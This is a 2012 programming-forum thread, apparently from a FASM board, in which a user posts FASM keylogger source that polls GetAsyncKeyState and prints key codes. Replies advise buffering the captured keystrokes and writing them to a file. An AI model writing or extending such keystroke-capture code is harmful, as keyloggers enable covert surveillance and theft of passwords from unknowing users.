Key logger file

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majidkamali1370

Joined: 31 Oct 2010
Posts: 50
Location: Iran

majidkamali1370 28 Dec 2012, 21:30

Hi.
I have a key logger source in fasm.
I compiled and ran it, but I don't know where is the log file.
plz help
Here's the code:

Code:

format pe console 4.0

include 'win32ax.inc'

entry main

section 'txt' code readable executable

main:
         invoke CreateThread,0,0,thread_logger,0,0,0
         invoke WaitForSingleObject,eax,0FFFFFFFh
;Say what ?, no it won't reach here


fmt db '0x%04X',10,0

proc    thread_logger,lpDat

        mov dword[ebp-4],1
reset:
        mov dword[ebp-4],1
for_loop:
        push dword[ebp-4]
        call [GetAsyncKeyState]
        cmp  eax,-32767
        jne  no_log

        push dword[ebp-4]
        push fmt
        call [printf]
        add esp, 8
no_log:
        inc  dword[ebp-4]
        cmp  dword[ebp-4],100000000b
        jnz for_loop

        push 09
        call [Sleep]
        jmp reset
endp

section '.idata' import data readable

library user32,'user32.dll',\
        kernel32,'kernel32.dll',\
        msvc,'msvcrt.dll'

import msvc,\
       printf,'printf'

include 'api/user32.inc'
include 'api/kernel32.inc'

28 Dec 2012, 21:30

typedef

Joined: 25 Jul 2010
Posts: 2909
Location: 0x77760000

typedef 29 Dec 2012, 03:23

lol. this is my code.

First you have to understand what it is/not doing.

29 Dec 2012, 03:23

majidkamali1370

Joined: 31 Oct 2010
Posts: 50
Location: Iran

majidkamali1370 29 Dec 2012, 09:18

Yes, I copied this code from this site.
I want to replace printf, to put keys in a file.

29 Dec 2012, 09:18

Fixit

Joined: 22 Nov 2012
Posts: 161

Fixit 29 Dec 2012, 22:32

Your code is incomplete.

It will have to open a file first, write the keys into that file, and then close the file.

29 Dec 2012, 22:32

typedef

Joined: 25 Jul 2010
Posts: 2909
Location: 0x77760000

typedef 30 Dec 2012, 00:56

Use a fixed memory buffer to hold the keystrokes (formatted or not) and then write them to a file.

Because it'll be stupid to do file I/O within that loop.

This is just a performance enhancement. Do it however you want.

30 Dec 2012, 00:56

majidkamali1370

Joined: 31 Oct 2010
Posts: 50
Location: Iran

majidkamali1370 30 Dec 2012, 11:32

Thanks.
Should I use store command or invoke a c function?

30 Dec 2012, 11:32

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